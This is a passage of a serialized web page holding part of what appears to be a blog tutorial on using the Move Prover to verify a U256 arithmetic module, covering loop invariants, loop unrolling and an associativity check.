",{"type":23,"tag":31,"props":10526,"children":10529},{"href":10527,"rel":10528},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[35],[10530],{"type":28,"value":10531},"previous post",{"type":28,"value":720},{"type":23,"tag":87,"props":10534,"children":10536},{"code":10535,"language":127,"meta":7,"className":128,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[10537],{"type":23,"tag":92,"props":10538,"children":10539},{"__ignoreMap":7},[10540,10552,10563,10599,10622,10705,10712,10736,10744,10764,10784,10875,10882,10910],{"type":23,"tag":134,"props":10541,"children":10542},{"class":136,"line":137},[10543,10548],{"type":23,"tag":134,"props":10544,"children":10545},{"style":189},[10546],{"type":28,"value":10547},"  while",{"type":23,"tag":134,"props":10549,"children":10550},{"style":179},[10551],{"type":28,"value":7992},{"type":23,"tag":134,"props":10553,"children":10554},{"class":136,"line":147},[10555,10559],{"type":23,"tag":134,"props":10556,"children":10557},{"style":162},[10558],{"type":28,"value":8389},{"type":23,"tag":134,"props":10560,"children":10561},{"style":179},[10562],{"type":28,"value":463},{"type":23,"tag":134,"props":10564,"children":10565},{"class":136,"line":185},[10566,10571,10575,10579,10583,10587,10591,10595],{"type":23,"tag":134,"props":10567,"children":10568},{"style":162},[10569],{"type":28,"value":10570},"          invariant",{"type":23,"tag":134,"props":10572,"children":10573},{"style":264},[10574],{"type":28,"value":8017},{"type":23,"tag":134,"props":10576,"children":10577},{"style":179},[10578],{"type":28,"value":272},{"type":23,"tag":134,"props":10580,"children":10581},{"style":162},[10582],{"type":28,"value":8026},{"type":23,"tag":134,"props":10584,"children":10585},{"style":179},[10586],{"type":28,"value":252},{"type":23,"tag":134,"props":10588,"children":10589},{"style":168},[10590],{"type":28,"value":8035},{"type":23,"tag":134,"props":10592,"children":10593},{"style":162},[10594],{"type":28,"value":576},{"type":23,"tag":134,"props":10596,"children":10597},{"style":179},[10598],{"type":28,"value":182},{"type":23,"tag":134,"props":10600,"children":10601},{"class":136,"line":221},[10602,10606,10610,10614,10618],{"type":23,"tag":134,"props":10603,"children":10604},{"style":162},[10605],{"type":28,"value":10570},{"type":23,"tag":134,"props":10607,"children":10608},{"style":162},[10609],{"type":28,"value":576},{"type":23,"tag":134,"props":10611,"children":10612},{"style":168},[10613],{"type":28,"value":7656},{"type":23,"tag":134,"props":10615,"children":10616},{"style":162},[10617],{"type":28,"value":7946},{"type":23,"tag":134,"props":10619,"children":10620},{"style":179},[10621],{"type":28,"value":182},{"type":23,"tag":134,"props":10623,"children":10624},{"class":136,"line":332},[10625,10629,10633,10637,10641,10645,10649,10653,10657,10661,10665,10669,10673,10677,10681,10685,10689,10693,10697,10701],{"type":23,"tag":134,"props":10626,"children":10627},{"style":162},[10628],{"type":28,"value":10570},{"type":23,"tag":134,"props":10630,"children":10631},{"style":162},[10632],{"type":28,"value":8078},{"type":23,"tag":134,"props":10634,"children":10635},{"style":162},[10636],{"type":28,"value":8083},{"type":23,"tag":134,"props":10638,"children":10639},{"style":151},[10640],{"type":28,"value":202},{"type":23,"tag":134,"props":10642,"children":10643},{"style":205},[10644],{"type":28,"value":208},{"type":23,"tag":134,"props":10646,"children":10647},{"style":168},[10648],{"type":28,"value":213},{"type":23,"tag":134,"props":10650,"children":10651},{"style":162},[10652],{"type":28,"value":929},{"type":23,"tag":134,"props":10654,"children":10655},{"style":168},[10656],{"type":28,"value":1697},{"type":23,"tag":134,"props":10658,"children":10659},{"style":162},[10660],{"type":28,"value":7881},{"type":23,"tag":134,"props":10662,"children":10663},{"style":179},[10664],{"type":28,"value":924},{"type":23,"tag":134,"props":10666,"children":10667},{"style":162},[10668],{"type":28,"value":8116},{"type":23,"tag":134,"props":10670,"children":10671},{"style":179},[10672],{"type":28,"value":8121},{"type":23,"tag":134,"props":10674,"children":10675},{"style":168},[10676],{"type":28,"value":8035},{"type":23,"tag":134,"props":10678,"children":10679},{"style":162},[10680],{"type":28,"value":8130},{"type":23,"tag":134,"props":10682,"children":10683},{"style":179},[10684],{"type":28,"value":924},{"type":23,"tag":134,"props":10686,"children":10687},{"style":162},[10688],{"type":28,"value":8116},{"type":23,"tag":134,"props":10690,"children":10691},{"style":179},[10692],{"type":28,"value":8121},{"type":23,"tag":134,"props":10694,"children":10695},{"style":168},[10696],{"type":28,"value":1777},{"type":23,"tag":134,"props":10698,"children":10699},{"style":162},[10700],{"type":28,"value":7946},{"type":23,"tag":134,"props":10702,"children":10703},{"style":179},[10704],{"type":28,"value":182},{"type":23,"tag":134,"props":10706,"children":10707},{"class":136,"line":438},[10708],{"type":23,"tag":134,"props":10709,"children":10710},{"style":179},[10711],{"type":28,"value":8381},{"type":23,"tag":134,"props":10713,"children":10714},{"class":136,"line":466},[10715,10720,10724,10728,10732],{"type":23,"tag":134,"props":10716,"children":10717},{"style":179},[10718],{"type":28,"value":10719},"      (",{"type":23,"tag":134,"props":10721,"children":10722},{"style":162},[10723],{"type":28,"value":929},{"type":23,"tag":134,"props":10725,"children":10726},{"style":168},[10727],{"type":28,"value":8179},{"type":23,"tag":134,"props":10729,"children":10730},{"style":162},[10731],{"type":28,"value":7946},{"type":23,"tag":134,"props":10733,"children":10734},{"style":179},[10735],{"type":28,"value":329},{"type":23,"tag":134,"props":10737,"children":10738},{"class":136,"line":479},[10739],{"type":23,"tag":134,"props":10740,"children":10741},{"style":179},[10742],{"type":28,"value":10743},"  }) {\n",{"type":23,"tag":134,"props":10745,"children":10746},{"class":136,"line":497},[10747,10752,10756,10760],{"type":23,"tag":134,"props":10748,"children":10749},{"style":179},[10750],{"type":28,"value":10751},"      vector",{"type":23,"tag":134,"props":10753,"children":10754},{"style":168},[10755],{"type":28,"value":660},{"type":23,"tag":134,"props":10757,"children":10758},{"style":264},[10759],{"type":28,"value":8212},{"type":23,"tag":134,"props":10761,"children":10762},{"style":179},[10763],{"type":28,"value":642},{"type":23,"tag":134,"props":10765,"children":10766},{"class":136,"line":518},[10767,10772,10776,10780],{"type":23,"tag":134,"props":10768,"children":10769},{"style":168},[10770],{"type":28,"value":10771},"          &",{"type":23,"tag":134,"props":10773,"children":10774},{"style":151},[10775],{"type":28,"value":914},{"type":23,"tag":134,"props":10777,"children":10778},{"style":162},[10779],{"type":28,"value":7881},{"type":23,"tag":134,"props":10781,"children":10782},{"style":179},[10783],{"type":28,"value":687},{"type":23,"tag":134,"props":10785,"children":10786},{"class":136,"line":527},[10787,10791,10795,10799,10803,10807,10811,10815,10819,10823,10827,10831,10835,10839,10843,10847,10851,10855,10859,10863,10867,10871],{"type":23,"tag":134,"props":10788,"children":10789},{"style":179},[10790],{"type":28,"value":8170},{"type":23,"tag":134,"props":10792,"children":10793},{"style":168},[10794],{"type":28,"value":1777},{"type":23,"tag":134,"props":10796,"children":10797},{"style":179},[10798],{"type":28,"value":8253},{"type":23,"tag":134,"props":10800,"children":10801},{"style":168},[10802],{"type":28,"value":660},{"type":23,"tag":134,"props":10804,"children":10805},{"style":264},[10806],{"type":28,"value":8262},{"type":23,"tag":134,"props":10808,"children":10809},{"style":179},[10810],{"type":28,"value":272},{"type":23,"tag":134,"props":10812,"children":10813},{"style":168},[10814],{"type":28,"value":277},{"type":23,"tag":134,"props":10816,"children":10817},{"style":162},[10818],{"type":28,"value":7826},{"type":23,"tag":134,"props":10820,"children":10821},{"style":179},[10822],{"type":28,"value":8279},{"type":23,"tag":134,"props":10824,"children":10825},{"style":162},[10826],{"type":28,"value":929},{"type":23,"tag":134,"props":10828,"children":10829},{"style":151},[10830],{"type":28,"value":8288},{"type":23,"tag":134,"props":10832,"children":10833},{"style":597},[10834],{"type":28,"value":5316},{"type":23,"tag":134,"props":10836,"children":10837},{"style":179},[10838],{"type":28,"value":8297},{"type":23,"tag":134,"props":10840,"children":10841},{"style":151},[10842],{"type":28,"value":8302},{"type":23,"tag":134,"props":10844,"children":10845},{"style":597},[10846],{"type":28,"value":8307},{"type":23,"tag":134,"props":10848,"children":10849},{"style":179},[10850],{"type":28,"value":252},{"type":23,"tag":134,"props":10852,"children":10853},{"style":168},[10854],{"type":28,"value":1777},{"type":23,"tag":134,"props":10856,"children":10857},{"style":179},[10858],{"type":28,"value":232},{"type":23,"tag":134,"props":10860,"children":10861},{"style":162},[10862],{"type":28,"value":8324},{"type":23,"tag":134,"props":10864,"children":10865},{"style":151},[10866],{"type":28,"value":8288},{"type":23,"tag":134,"props":10868,"children":10869},{"style":597},[10870],{"type":28,"value":8307},{"type":23,"tag":134,"props":10872,"children":10873},{"style":179},[10874],{"type":28,"value":329},{"type":23,"tag":134,"props":10876,"children":10877},{"class":136,"line":780},[10878],{"type":23,"tag":134,"props":10879,"children":10880},{"style":179},[10881],{"type":28,"value":6224},{"type":23,"tag":134,"props":10883,"children":10884},{"class":136,"line":797},[10885,10890,10894,10898,10902,10906],{"type":23,"tag":134,"props":10886,"children":10887},{"style":162},[10888],{"type":28,"value":10889},"      i",{"type":23,"tag":134,"props":10891,"children":10892},{"style":168},[10893],{"type":28,"value":171},{"type":23,"tag":134,"props":10895,"children":10896},{"style":162},[10897],{"type":28,"value":576},{"type":23,"tag":134,"props":10899,"children":10900},{"style":168},[10901],{"type":28,"value":8365},{"type":23,"tag":134,"props":10903,"children":10904},{"style":205},[10905],{"type":28,"value":1729},{"type":23,"tag":134,"props":10907,"children":10908},{"style":179},[10909],{"type":28,"value":182},{"type":23,"tag":134,"props":10911,"children":10912},{"class":136,"line":814},[10913],{"type":23,"tag":134,"props":10914,"children":10915},{"style":179},[10916],{"type":28,"value":10917},"  };\n",{"type":23,"tag":24,"props":10919,"children":10920},{},[10921,10923,10929,10931,10936,10938,10944],{"type":28,"value":10922},"In this case, the brackets specify the loop invariant for the ",{"type":23,"tag":92,"props":10924,"children":10926},{"className":10925},[],[10927],{"type":28,"value":10928},"while",{"type":28,"value":10930}," loop. Note that because the loop invariant executes ",{"type":23,"tag":55,"props":10932,"children":10933},{},[10934],{"type":28,"value":10935},"after",{"type":28,"value":10937}," the loop guard, so we need to account for an extra step with ",{"type":23,"tag":92,"props":10939,"children":10941},{"className":10940},[],[10942],{"type":28,"value":10943},"i \u003C= n_coins",{"type":28,"value":720},{"type":23,"tag":87,"props":10946,"children":10948},{"code":10947,"language":127,"meta":7,"className":128,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n",[10949],{"type":23,"tag":92,"props":10950,"children":10951},{"__ignoreMap":7},[10952,10963,10974,11009,11032,11115,11122,11145],{"type":23,"tag":134,"props":10953,"children":10954},{"class":136,"line":137},[10955,10959],{"type":23,"tag":134,"props":10956,"children":10957},{"style":189},[10958],{"type":28,"value":10547},{"type":23,"tag":134,"props":10960,"children":10961},{"style":179},[10962],{"type":28,"value":7992},{"type":23,"tag":134,"props":10964,"children":10965},{"class":136,"line":147},[10966,10970],{"type":23,"tag":134,"props":10967,"children":10968},{"style":162},[10969],{"type":28,"value":8389},{"type":23,"tag":134,"props":10971,"children":10972},{"style":179},[10973],{"type":28,"value":463},{"type":23,"tag":134,"props":10975,"children":10976},{"class":136,"line":185},[10977,10981,10985,10989,10993,10997,11001,11005],{"type":23,"tag":134,"props":10978,"children":10979},{"style":162},[10980],{"type":28,"value":10570},{"type":23,"tag":134,"props":10982,"children":10983},{"style":264},[10984],{"type":28,"value":8017},{"type":23,"tag":134,"props":10986,"children":10987},{"style":179},[10988],{"type":28,"value":272},{"type":23,"tag":134,"props":10990,"children":10991},{"style":162},[10992],{"type":28,"value":8026},{"type":23,"tag":134,"props":10994,"children":10995},{"style":179},[10996],{"type":28,"value":252},{"type":23,"tag":134,"props":10998,"children":10999},{"style":168},[11000],{"type":28,"value":8035},{"type":23,"tag":134,"props":11002,"children":11003},{"style":162},[11004],{"type":28,"value":576},{"type":23,"tag":134,"props":11006,"children":11007},{"style":179},[11008],{"type":28,"value":182},{"type":23,"tag":134,"props":11010,"children":11011},{"class":136,"line":221},[11012,11016,11020,11024,11028],{"type":23,"tag":134,"props":11013,"children":11014},{"style":162},[11015],{"type":28,"value":10570},{"type":23,"tag":134,"props":11017,"children":11018},{"style":162},[11019],{"type":28,"value":576},{"type":23,"tag":134,"props":11021,"children":11022},{"style":168},[11023],{"type":28,"value":7656},{"type":23,"tag":134,"props":11025,"children":11026},{"style":162},[11027],{"type":28,"value":7946},{"type":23,"tag":134,"props":11029,"children":11030},{"style":179},[11031],{"type":28,"value":182},{"type":23,"tag":134,"props":11033,"children":11034},{"class":136,"line":332},[11035,11039,11043,11047,11051,11055,11059,11063,11067,11071,11075,11079,11083,11087,11091,11095,11099,11103,11107,11111],{"type":23,"tag":134,"props":11036,"children":11037},{"style":162},[11038],{"type":28,"value":10570},{"type":23,"tag":134,"props":11040,"children":11041},{"style":162},[11042],{"type":28,"value":8078},{"type":23,"tag":134,"props":11044,"children":11045},{"style":162},[11046],{"type":28,"value":8083},{"type":23,"tag":134,"props":11048,"children":11049},{"style":151},[11050],{"type":28,"value":202},{"type":23,"tag":134,"props":11052,"children":11053},{"style":205},[11054],{"type":28,"value":208},{"type":23,"tag":134,"props":11056,"children":11057},{"style":168},[11058],{"type":28,"value":213},{"type":23,"tag":134,"props":11060,"children":11061},{"style":162},[11062],{"type":28,"value":929},{"type":23,"tag":134,"props":11064,"children":11065},{"style":168},[11066],{"type":28,"value":1697},{"type":23,"tag":134,"props":11068,"children":11069},{"style":162},[11070],{"type":28,"value":7881},{"type":23,"tag":134,"props":11072,"children":11073},{"style":179},[11074],{"type":28,"value":924},{"type":23,"tag":134,"props":11076,"children":11077},{"style":162},[11078],{"type":28,"value":8116},{"type":23,"tag":134,"props":11080,"children":11081},{"style":179},[11082],{"type":28,"value":8121},{"type":23,"tag":134,"props":11084,"children":11085},{"style":168},[11086],{"type":28,"value":8035},{"type":23,"tag":134,"props":11088,"children":11089},{"style":162},[11090],{"type":28,"value":8130},{"type":23,"tag":134,"props":11092,"children":11093},{"style":179},[11094],{"type":28,"value":924},{"type":23,"tag":134,"props":11096,"children":11097},{"style":162},[11098],{"type":28,"value":8116},{"type":23,"tag":134,"props":11100,"children":11101},{"style":179},[11102],{"type":28,"value":8121},{"type":23,"tag":134,"props":11104,"children":11105},{"style":168},[11106],{"type":28,"value":1777},{"type":23,"tag":134,"props":11108,"children":11109},{"style":162},[11110],{"type":28,"value":7946},{"type":23,"tag":134,"props":11112,"children":11113},{"style":179},[11114],{"type":28,"value":182},{"type":23,"tag":134,"props":11116,"children":11117},{"class":136,"line":438},[11118],{"type":23,"tag":134,"props":11119,"children":11120},{"style":179},[11121],{"type":28,"value":8381},{"type":23,"tag":134,"props":11123,"children":11124},{"class":136,"line":466},[11125,11129,11133,11137,11141],{"type":23,"tag":134,"props":11126,"children":11127},{"style":179},[11128],{"type":28,"value":10719},{"type":23,"tag":134,"props":11130,"children":11131},{"style":162},[11132],{"type":28,"value":929},{"type":23,"tag":134,"props":11134,"children":11135},{"style":168},[11136],{"type":28,"value":8179},{"type":23,"tag":134,"props":11138,"children":11139},{"style":162},[11140],{"type":28,"value":7946},{"type":23,"tag":134,"props":11142,"children":11143},{"style":179},[11144],{"type":28,"value":329},{"type":23,"tag":134,"props":11146,"children":11147},{"class":136,"line":479},[11148],{"type":23,"tag":134,"props":11149,"children":11150},{"style":179},[11151],{"type":28,"value":10743},{"type":23,"tag":24,"props":11153,"children":11154},{},[11155],{"type":28,"value":11156},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":23,"tag":24,"props":11158,"children":11159},{},[11160,11162,11167],{"type":28,"value":11161},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":23,"tag":92,"props":11163,"children":11165},{"className":11164},[],[11166],{"type":28,"value":9102},{"type":28,"value":11168}," function will always iterate exactly 4 times:",{"type":23,"tag":87,"props":11170,"children":11172},{"code":11171,"language":127,"meta":7,"className":128,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n    let a1 = get(&a, i);\n    let b1 = get(&b, i);\n\n[...]\n",[11173],{"type":23,"tag":92,"props":11174,"children":11175},{"__ignoreMap":7},[11176,11184,11217,11224,11240,11247,11271,11295,11340,11384,11391],{"type":23,"tag":134,"props":11177,"children":11178},{"class":136,"line":137},[11179],{"type":23,"tag":134,"props":11180,"children":11181},{"style":141},[11182],{"type":28,"value":11183},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":23,"tag":134,"props":11185,"children":11186},{"class":136,"line":147},[11187,11191,11196,11200,11204,11208,11213],{"type":23,"tag":134,"props":11188,"children":11189},{"style":151},[11190],{"type":28,"value":9119},{"type":23,"tag":134,"props":11192,"children":11193},{"style":179},[11194],{"type":28,"value":11195}," WORDS",{"type":23,"tag":134,"props":11197,"children":11198},{"style":168},[11199],{"type":28,"value":1697},{"type":23,"tag":134,"props":11201,"children":11202},{"style":597},[11203],{"type":28,"value":5316},{"type":23,"tag":134,"props":11205,"children":11206},{"style":168},[11207],{"type":28,"value":171},{"type":23,"tag":134,"props":11209,"children":11210},{"style":205},[11211],{"type":28,"value":11212}," 4",{"type":23,"tag":134,"props":11214,"children":11215},{"style":179},[11216],{"type":28,"value":182},{"type":23,"tag":134,"props":11218,"children":11219},{"class":136,"line":185},[11220],{"type":23,"tag":134,"props":11221,"children":11222},{"emptyLinePlaceholder":15},[11223],{"type":28,"value":865},{"type":23,"tag":134,"props":11225,"children":11226},{"class":136,"line":221},[11227,11231,11235],{"type":23,"tag":134,"props":11228,"children":11229},{"style":179},[11230],{"type":28,"value":924},{"type":23,"tag":134,"props":11232,"children":11233},{"style":168},[11234],{"type":28,"value":9054},{"type":23,"tag":134,"props":11236,"children":11237},{"style":179},[11238],{"type":28,"value":11239},"]\n",{"type":23,"tag":134,"props":11241,"children":11242},{"class":136,"line":332},[11243],{"type":23,"tag":134,"props":11244,"children":11245},{"emptyLinePlaceholder":15},[11246],{"type":28,"value":865},{"type":23,"tag":134,"props":11248,"children":11249},{"class":136,"line":438},[11250,11255,11259,11263,11267],{"type":23,"tag":134,"props":11251,"children":11252},{"style":151},[11253],{"type":28,"value":11254},"let",{"type":23,"tag":134,"props":11256,"children":11257},{"style":162},[11258],{"type":28,"value":576},{"type":23,"tag":134,"props":11260,"children":11261},{"style":168},[11262],{"type":28,"value":171},{"type":23,"tag":134,"props":11264,"children":11265},{"style":205},[11266],{"type":28,"value":208},{"type":23,"tag":134,"props":11268,"children":11269},{"style":179},[11270],{"type":28,"value":182},{"type":23,"tag":134,"props":11272,"children":11273},{"class":136,"line":466},[11274,11278,11282,11286,11290],{"type":23,"tag":134,"props":11275,"children":11276},{"style":189},[11277],{"type":28,"value":10928},{"type":23,"tag":134,"props":11279,"children":11280},{"style":179},[11281],{"type":28,"value":232},{"type":23,"tag":134,"props":11283,"children":11284},{"style":162},[11285],{"type":28,"value":929},{"type":23,"tag":134,"props":11287,"children":11288},{"style":168},[11289],{"type":28,"value":8179},{"type":23,"tag":134,"props":11291,"children":11292},{"style":179},[11293],{"type":28,"value":11294}," WORDS) {\n",{"type":23,"tag":134,"props":11296,"children":11297},{"class":136,"line":479},[11298,11302,11307,11311,11316,11320,11324,11328,11332,11336],{"type":23,"tag":134,"props":11299,"children":11300},{"style":151},[11301],{"type":28,"value":154},{"type":23,"tag":134,"props":11303,"children":11304},{"style":162},[11305],{"type":28,"value":11306}," a1",{"type":23,"tag":134,"props":11308,"children":11309},{"style":168},[11310],{"type":28,"value":171},{"type":23,"tag":134,"props":11312,"children":11313},{"style":264},[11314],{"type":28,"value":11315}," get",{"type":23,"tag":134,"props":11317,"children":11318},{"style":179},[11319],{"type":28,"value":272},{"type":23,"tag":134,"props":11321,"children":11322},{"style":168},[11323],{"type":28,"value":277},{"type":23,"tag":134,"props":11325,"children":11326},{"style":162},[11327],{"type":28,"value":31},{"type":23,"tag":134,"props":11329,"children":11330},{"style":179},[11331],{"type":28,"value":242},{"type":23,"tag":134,"props":11333,"children":11334},{"style":162},[11335],{"type":28,"value":929},{"type":23,"tag":134,"props":11337,"children":11338},{"style":179},[11339],{"type":28,"value":1021},{"type":23,"tag":134,"props":11341,"children":11342},{"class":136,"line":497},[11343,11347,11352,11356,11360,11364,11368,11372,11376,11380],{"type":23,"tag":134,"props":11344,"children":11345},{"style":151},[11346],{"type":28,"value":154},{"type":23,"tag":134,"props":11348,"children":11349},{"style":162},[11350],{"type":28,"value":11351}," b1",{"type":23,"tag":134,"props":11353,"children":11354},{"style":168},[11355],{"type":28,"value":171},{"type":23,"tag":134,"props":11357,"children":11358},{"style":264},[11359],{"type":28,"value":11315},{"type":23,"tag":134,"props":11361,"children":11362},{"style":179},[11363],{"type":28,"value":272},{"type":23,"tag":134,"props":11365,"children":11366},{"style":168},[11367],{"type":28,"value":277},{"type":23,"tag":134,"props":11369,"children":11370},{"style":162},[11371],{"type":28,"value":393},{"type":23,"tag":134,"props":11373,"children":11374},{"style":179},[11375],{"type":28,"value":242},{"type":23,"tag":134,"props":11377,"children":11378},{"style":162},[11379],{"type":28,"value":929},{"type":23,"tag":134,"props":11381,"children":11382},{"style":179},[11383],{"type":28,"value":1021},{"type":23,"tag":134,"props":11385,"children":11386},{"class":136,"line":518},[11387],{"type":23,"tag":134,"props":11388,"children":11389},{"emptyLinePlaceholder":15},[11390],{"type":28,"value":865},{"type":23,"tag":134,"props":11392,"children":11393},{"class":136,"line":527},[11394,11398,11402],{"type":23,"tag":134,"props":11395,"children":11396},{"style":179},[11397],{"type":28,"value":924},{"type":23,"tag":134,"props":11399,"children":11400},{"style":168},[11401],{"type":28,"value":9054},{"type":23,"tag":134,"props":11403,"children":11404},{"style":179},[11405],{"type":28,"value":11239},{"type":23,"tag":24,"props":11407,"children":11408},{},[11409],{"type":28,"value":11410},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":23,"tag":87,"props":11412,"children":11414},{"code":11413},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[11415],{"type":23,"tag":92,"props":11416,"children":11417},{"__ignoreMap":7},[11418],{"type":28,"value":11413},{"type":23,"tag":24,"props":11420,"children":11421},{},[11422,11424,11429,11430,11436],{"type":28,"value":11423},"For the ",{"type":23,"tag":2532,"props":11425,"children":11426},{},[11427],{"type":28,"value":11428},"Associative Property",{"type":28,"value":232},{"type":23,"tag":92,"props":11431,"children":11433},{"className":11432},[],[11434],{"type":28,"value":11435},"a+(b+c) = (a+b)+c",{"type":28,"value":11437},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":23,"tag":87,"props":11439,"children":11441},{"code":11440,"language":127,"meta":7,"className":128,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[11442],{"type":23,"tag":92,"props":11443,"children":11444},{"__ignoreMap":7},[11445,11522,11561,11602,11641,11682,11689,11739,11779],{"type":23,"tag":134,"props":11446,"children":11447},{"class":136,"line":137},[11448,11452,11457,11461,11465,11469,11473,11477,11481,11485,11489,11493,11497,11501,11505,11509,11513,11518],{"type":23,"tag":134,"props":11449,"children":11450},{"style":162},[11451],{"type":28,"value":6565},{"type":23,"tag":134,"props":11453,"children":11454},{"style":264},[11455],{"type":28,"value":11456}," add_assoc_property",{"type":23,"tag":134,"props":11458,"children":11459},{"style":179},[11460],{"type":28,"value":272},{"type":23,"tag":134,"props":11462,"children":11463},{"style":162},[11464],{"type":28,"value":31},{"type":23,"tag":134,"props":11466,"children":11467},{"style":168},[11468],{"type":28,"value":1697},{"type":23,"tag":134,"props":11470,"children":11471},{"style":597},[11472],{"type":28,"value":1937},{"type":23,"tag":134,"props":11474,"children":11475},{"style":179},[11476],{"type":28,"value":242},{"type":23,"tag":134,"props":11478,"children":11479},{"style":162},[11480],{"type":28,"value":393},{"type":23,"tag":134,"props":11482,"children":11483},{"style":168},[11484],{"type":28,"value":1697},{"type":23,"tag":134,"props":11486,"children":11487},{"style":597},[11488],{"type":28,"value":1937},{"type":23,"tag":134,"props":11490,"children":11491},{"style":179},[11492],{"type":28,"value":242},{"type":23,"tag":134,"props":11494,"children":11495},{"style":162},[11496],{"type":28,"value":315},{"type":23,"tag":134,"props":11498,"children":11499},{"style":168},[11500],{"type":28,"value":1697},{"type":23,"tag":134,"props":11502,"children":11503},{"style":597},[11504],{"type":28,"value":1937},{"type":23,"tag":134,"props":11506,"children":11507},{"style":179},[11508],{"type":28,"value":296},{"type":23,"tag":134,"props":11510,"children":11511},{"style":168},[11512],{"type":28,"value":1697},{"type":23,"tag":134,"props":11514,"children":11515},{"style":597},[11516],{"type":28,"value":11517}," bool",{"type":23,"tag":134,"props":11519,"children":11520},{"style":179},[11521],{"type":28,"value":463},{"type":23,"tag":134,"props":11523,"children":11524},{"class":136,"line":147},[11525,11529,11533,11537,11541,11545,11549,11553,11557],{"type":23,"tag":134,"props":11526,"children":11527},{"style":151},[11528],{"type":28,"value":154},{"type":23,"tag":134,"props":11530,"children":11531},{"style":162},[11532],{"type":28,"value":7651},{"type":23,"tag":134,"props":11534,"children":11535},{"style":168},[11536],{"type":28,"value":171},{"type":23,"tag":134,"props":11538,"children":11539},{"style":264},[11540],{"type":28,"value":9044},{"type":23,"tag":134,"props":11542,"children":11543},{"style":179},[11544],{"type":28,"value":272},{"type":23,"tag":134,"props":11546,"children":11547},{"style":162},[11548],{"type":28,"value":393},{"type":23,"tag":134,"props":11550,"children":11551},{"style":179},[11552],{"type":28,"value":242},{"type":23,"tag":134,"props":11554,"children":11555},{"style":162},[11556],{"type":28,"value":315},{"type":23,"tag":134,"props":11558,"children":11559},{"style":179},[11560],{"type":28,"value":1021},{"type":23,"tag":134,"props":11562,"children":11563},{"class":136,"line":185},[11564,11568,11573,11577,11581,11585,11589,11593,11598],{"type":23,"tag":134,"props":11565,"children":11566},{"style":151},[11567],{"type":28,"value":154},{"type":23,"tag":134,"props":11569,"children":11570},{"style":162},[11571],{"type":28,"value":11572}," result_11",{"type":23,"tag":134,"props":11574,"children":11575},{"style":168},[11576],{"type":28,"value":171},{"type":23,"tag":134,"props":11578,"children":11579},{"style":264},[11580],{"type":28,"value":9044},{"type":23,"tag":134,"props":11582,"children":11583},{"style":179},[11584],{"type":28,"value":272},{"type":23,"tag":134,"props":11586,"children":11587},{"style":162},[11588],{"type":28,"value":31},{"type":23,"tag":134,"props":11590,"children":11591},{"style":179},[11592],{"type":28,"value":242},{"type":23,"tag":134,"props":11594,"children":11595},{"style":162},[11596],{"type":28,"value":11597},"result_1",{"type":23,"tag":134,"props":11599,"children":11600},{"style":179},[11601],{"type":28,"value":1021},{"type":23,"tag":134,"props":11603,"children":11604},{"class":136,"line":221},[11605,11609,11613,11617,11621,11625,11629,11633,11637],{"type":23,"tag":134,"props":11606,"children":11607},{"style":151},[11608],{"type":28,"value":154},{"type":23,"tag":134,"props":11610,"children":11611},{"style":162},[11612],{"type":28,"value":7677},{"type":23,"tag":134,"props":11614,"children":11615},{"style":168},[11616],{"type":28,"value":171},{"type":23,"tag":134,"props":11618,"children":11619},{"style":264},[11620],{"type":28,"value":9044},{"type":23,"tag":134,"props":11622,"children":11623},{"style":179},[11624],{"type":28,"value":272},{"type":23,"tag":134,"props":11626,"children":11627},{"style":162},[11628],{"type":28,"value":31},{"type":23,"tag":134,"props":11630,"children":11631},{"style":179},[11632],{"type":28,"value":242},{"type":23,"tag":134,"props":11634,"children":11635},{"style":162},[11636],{"type":28,"value":393},{"type":23,"tag":134,"props":11638,"children":11639},{"style":179},[11640],{"type":28,"value":1021},{"type":23,"tag":134,"props":11642,"children":11643},{"class":136,"line":332},[11644,11648,11653,11657,11661,11665,11669,11673,11678],{"type":23,"tag":134,"props":11645,"children":11646},{"style":151},[11647],{"type":28,"value":154},{"type":23,"tag":134,"props":11649,"children":11650},{"style":162},[11651],{"type":28,"value":11652}," result_22",{"type":23,"tag":134,"props":11654,"children":11655},{"style":168},[11656],{"type":28,"value":171},{"type":23,"tag":134,"props":11658,"children":11659},{"style":264},[11660],{"type":28,"value":9044},{"type":23,"tag":134,"props":11662,"children":11663},{"style":179},[11664],{"type":28,"value":272},{"type":23,"tag":134,"props":11666,"children":11667},{"style":162},[11668],{"type":28,"value":315},{"type":23,"tag":134,"props":11670,"children":11671},{"style":179},[11672],{"type":28,"value":242},{"type":23,"tag":134,"props":11674,"children":11675},{"style":162},[11676],{"type":28,"value":11677},"result_2",{"type":23,"tag":134,"props":11679,"children":11680},{"style":179},[11681],{"type":28,"value":1021},{"type":23,"tag":134,"props":11683,"children":11684},{"class":136,"line":438},[11685],{"type":23,"tag":134,"props":11686,"children":11687},{"emptyLinePlaceholder":15},[11688],{"type":28,"value":865},{"type":23,"tag":134,"props":11690,"children":11691},{"class":136,"line":466},[11692,11696,11700,11704,11709,11713,11717,11722,11726,11730,11735],{"type":23,"tag":134,"props":11693,"children":11694},{"style":151},[11695],{"type":28,"value":154},{"type":23,"tag":134,"props":11697,"children":11698},{"style":162},[11699],{"type":28,"value":7319},{"type":23,"tag":134,"props":11701,"children":11702},{"s